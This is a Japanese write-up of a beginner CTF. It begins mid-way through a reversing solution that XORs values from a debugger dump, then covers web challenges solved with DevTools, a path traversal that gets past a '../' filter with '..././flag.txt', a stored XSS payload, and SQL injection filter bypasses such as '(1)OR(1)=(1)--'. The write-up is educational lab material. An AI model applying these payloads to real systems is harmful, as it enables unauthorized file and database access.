0x7fffffffe0a0: 0x6cf7737d      0x522262fa      0x5ee1319b      0x50b94ca2
0x7fffffffe0b0: 0x0a617e04      0x1fe90f3c      0x053d6c81      0x491f731d
0x7fffffffe0c0: 0x513f6544      0x532c71b5      0x651d5efb      0x7550f572
0x7fffffffe0d0: 0x7a4f0aff      0x5fda144e      0x7e975877      0x71e8ba89
0x7fffffffe0e0: 0x76fc9db7      0x3eb17e6f      0x2bb71c42      0x4de907f2
pwndbg> x/48wx $rbp-0xd0
0x7fffffffe0f0: 0x63c1d9b9      0x383f1bd1      0x4107dda4      0x34841fea
0x7fffffffe100: 0x3ebdf50c      0x315655eb      0x4def053a      0x1bfdeb26
0x7fffffffe110: 0x24118fca      0x2722989c      0x7abcb583      0x09466305
0x7fffffffe120: 0x7799b061      0x172289c3      0x401a25fc      0x39ce6189
0x7fffffffe130: 0x56ec69c1      0x106f1fd2      0x77fc40b6      0x4828aec2
0x7fffffffe140: 0x2252ba83      0x45935da2      0x7565bdfe      0x5ae2409f
0x7fffffffe150: 0x20edd672      0x47362435      0x0b61fcb5      0x7c7607de
0x7fffffffe160: 0x6cf7730d      0x5222628a      0x5ee131a8      0x50b94cc6
0x7fffffffe170: 0x0a617e5b      0x1fe90f4c      0x053d6cb0      0x491f7368
0x7fffffffe180: 0x513f6537      0x532c71ea      0x651d5e8e      0x7550f502
0x7fffffffe190: 0x7a4f0a87      0x5fda1411      0x7e975807      0x71e8bae8
0x7fffffffe1a0: 0x76fc9dd4      0x3eb17e04      0x2bb71c71      0x4de90796

テーブルが取れたので復元します。

key = [0x63c1d9cb, 0x383f1bb2, 0x4107dd90, 0x34841fb5, 0x3ebdf538, 0x31565585, 0x4def055e, 0x1bfdeb79, 0x24118ff9, 0x272298e8, 0x7abcb5e2, 0x09466371, 0x7799b008, 0x172289a0, 0x401a25a3, 0x39ce61b8, 0x56ec69a8, 0x106f1fbc, 0x77fc40dd, 0x4828ae9d, 0x2252bab7, 0x45935dcc, 0x7565bd9a, 0x5ae240c0, 0x20edd601, 0x47362402, 0x0b61fcc7, 0x7c7607b7, 0x6cf7737d, 0x522262fa, 0x5ee1319b, 0x50b94ca2, 0x0a617e04, 0x1fe90f3c, 0x053d6c81, 0x491f731d, 0x513f6544, 0x532c71b5, 0x651d5efb, 0x7550f572, 0x7a4f0aff, 0x5fda144e, 0x7e975877, 0x71e8ba89, 0x76fc9db7, 0x3eb17e6f, 0x2bb71c42, 0x4de907f2]
answer = [0x63c1d9b9, 0x383f1bd1, 0x4107dda4, 0x34841fea, 0x3ebdf50c, 0x315655eb, 0x4def053a, 0x1bfdeb26, 0x24118fca, 0x2722989c, 0x7abcb583, 0x09466305, 0x7799b061, 0x172289c3, 0x401a25fc, 0x39ce6189, 0x56ec69c1, 0x106f1fd2, 0x77fc40b6, 0x4828aec2, 0x2252ba83, 0x45935da2, 0x7565bdfe, 0x5ae2409f, 0x20edd672, 0x47362435, 0x0b61fcb5, 0x7c7607de, 0x6cf7730d, 0x5222628a, 0x5ee131a8, 0x50b94cc6, 0x0a617e5b, 0x1fe90f4c, 0x053d6cb0, 0x491f7368, 0x513f6537, 0x532c71ea, 0x651d5e8e, 0x7550f502, 0x7a4f0a87, 0x5fda1411, 0x7e975807, 0x71e8bae8, 0x76fc9dd4, 0x3eb17e04, 0x2bb71c71, 0x4de90796]
flag = bytes([(ki ^ ai) for ki, ai in zip(key, answer)])
print(flag)
-> python3 rev.py
b'rc4_4nd_3tatic_1ink_4nd_s7ripp3d_p1us_upx_pack3d'
FLAG{rc4_4nd_3tatic_1ink_4nd_s7ripp3d_p1us_upx_pack3d}

[Web Beginner] DevTools_1

F12を押して開発者ツールを開き、ソースを見るとフラグが書いてありました。

FLAG{you_can_read_html_using_devtools}

[Web Easy] DevTools_2

ページの内容を書き替えればフラグが出てくるようです。

右クリックして検証から手動で書き替えるとalertでフラグが出てきました。

FLAG{you_can_edit_html_using_devtools}

[Web Beginner] Simple Memo

<?php
function reader($file) {
  $memo_dir = "./memos/";

  // sanitized
  $file = str_replace('../', '', $file);
  
  $filename = $memo_dir . $file;
  $memo_exist = file_exists($filename);
  if ($memo_exist) {
    $content = file_get_contents($filename);
  } else {
    $content = "No content.";
  }
  return $content;
}
?>

メモを見ることができるサイトです。メモから推測するに../flag.txtにフラグがあるようです。

渡されたreader.phpディレクトリトラバーサル脆弱性がありますが、../がサニタイズされています。

このようなサニタイズのときに思い出すのはSQL InjectionでSELECTが空文字列に置き換えられるとき、SELSELECTECTのように間に挟むことでバイパスするテクニックです。

同じように..././flag.txtを送ってみると、フラグを入手することができました。

FLAG{y0u_c4n_get_hi5_5ecret_fi1e}

[Web Normal] striped table

メモを保存ことができるサイトのURLとソースコードが渡され、サイトのHTML内でalert(19640503)を実行するとフラグが手に入るようです。

<?php
if (isset($_GET['source'])){
  highlight_file(__FILE__);
  die();
}
session_start();
$results = [];
if (isset($_SESSION["memos"])) {
  $results = $_SESSION["memos"];
}

function delete_memo($memo) {
  return $memo["id"] !== $_GET["delete"];
}

if (isset($_GET["delete"])) {
  $results = array_filter($results, "delete_memo");
  // インデックスを振りなおす
  $results = array_values($results);
  $_SESSION["memos"] = $results;
  header('Location: /', true, 301);
  exit;
}
?>
<?php include( $_SERVER['DOCUMENT_ROOT'] . '/includes/meta-header.php'); ?>
  <table class="table">
    <thead>
      <tr>
        <th>ID</th>
        <th>タイトル</th>
        <th>メモ</th>
        <th>削除</th>
      </tr>
    </thead>
    <tbody>
      <?php foreach ($results as $index => $result) : ?>
        <?php if ($index % 2 === 0) : ?>
          <tr>
            <td><?= $result['id'] ?></td>
            <td><?= htmlspecialchars($result['title'], ENT_QUOTES) ?></td>
            <td><?= nl2br(htmlspecialchars($result['memo'], ENT_QUOTES)) ?></td>
            <td><a href="/?delete=<?= $result['id'] ?>"><button type="button" class="btn btn-danger">削除</button></a></td>
          </tr>
        <?php else: ?>
          <tr style="background-color: #f0f0f0">
            <td><?= $result['id'] ?></td>
            <td><?= htmlspecialchars($result['title'], ENT_QUOTES) ?></td>
            <td><?= nl2br($result['memo']) ?></td>
            <td><a href="/?delete=<?= $result['id'] ?>"><button type="button" class="btn btn-danger">削除</button></a></td>
          </tr>
        <?php endif; ?>
      <?php endforeach; ?>
    </tbody>
  </table>
<?php include( $_SERVER['DOCUMENT_ROOT'] . '/includes/footer.php'); ?>

ソースコードを見ると、indexが奇数のときに$result['memo']がエスケープされていません。

一つ目のメモを適当に保存して、二つ目のメモの内容に<script>alert(19640503)</script>と入れるとフラグが手に入りました。

FLAG{simple_cross_site_scripting}

[Web Normal] SQL Challenge 1

<?php 
//mysqlへ接続する。
$mysqli = new mysqli('mysql', 'wani', 'waniwani', 'test_db');
if ($mysqli->connect_error) {
    echo $mysqli->connect_error;
    exit();
} else {
    $mysqli->set_charset("utf8mb4");
}

//urlの"year="の後に入力した文字列を$yearに入れる。
$year = $_GET["year"];

//一部の文字は利用出来ません。以下の文字を使わずにFLAGを手に入れてください。
if (preg_match('/\s/', $year))
    exit('危険を感知'); //スペース禁止
if (preg_match('/[\']/', $year))
    exit('危険を感知'); //シングルクォート禁止
if (preg_match('/[\/\\\\]/', $year))
    exit('危険を感知'); //スラッシュとバックスラッシュ禁止
if (preg_match('/[\|]/', $year))
    exit('危険を感知'); //バーティカルバー禁止                    

//クエリを作成する。
$query = "SELECT * FROM anime WHERE years =$year";

//debug用にhtmlのコメントにクエリを表示させる。
echo "<!-- debug : ", htmlspecialchars($query), " -->\n";

//結果を表示させる。
if ($result = $mysqli->query($query)) {
    while ($row = $result->fetch_assoc()) {
        echo '<tr><th>' . $row['name'] .  '</th><th>' . $row['years'] . '</th></tr>';
    }
    $result->close();
}
?>

ソースコードから抜粋。' \/|が禁止されたSQLiです。

PayloadsAllTheThings でスペースの代替を探すと、()を使うといいことがわかります。

?year=(1)OR(1)=(1)--

を実行するとフラグが出てきます。

FLAG{53cur3_5ql_a283b4dffe}

[Web Hard] SQL Challenge 2

<?php

//mysqlへ接続する。
$mysqli = new mysqli('mysql', 'wani', 'waniwani', 'test_db');
if ($mysqli->connect_error) {
    echo $mysqli->connect_error;
    exit();
} else {
    $mysqli->set_charset("utf8mb4");
}

//urlの"year="の後に入力した文字列を$yearに入れる。
$year = $_GET["year"];

//preg_replaceで危険な記号を処理する。
$pattern = '/([^a-zA-Z0-9])/';
$replace = '\\\$0';
$year = preg_replace($pattern, $replace, $year);

//クエリを作成する。
$query = "SELECT * FROM anime WHERE years = $year";

//debug用にhtmlのコメントにクエリを表示させる。
echo "<!-- debug : ", htmlspecialchars($query), " -->\n";

//結果を表示させる。
if ($result = $mysqli->query($query)) {
    while ($row = $result->fetch_assoc()) {
        echo '<tr><th>' . $row['name'] .  '</th><th>' . $row['years'] . '</th></tr>';
    }
    $result->close();
}
?>

同じく抜粋。今度は英数字以外はバックスラッシュでエスケープされてしまうようです。

適当な文字列を送って反応を見ていると、

?year=0

でフラグが出てきてしまいました。問題ミスでしょうが、申し訳ないなと思いつつフラグを提出しました。

FLAG{5ql_ch4r_cf_ca87b27723}

想定解は恐らくマルチバイト文字を使ってエスケープを回避するのかな...?

追記

yearsがVARCHARになっているので、数値にキャストすれば0になる。という想定解法でした。

(別途スキーマは与えられてました、ちゃんと見ようね)

終わりに

全問ともなるとWriteup書くの大変ですね...問題解くより大変かもしれない。

初心者向けCTFとはいえ全完したのは初めてなので嬉しかったです。

問題もWarmupから一歩進んだ問題も多くありとても面白かったです。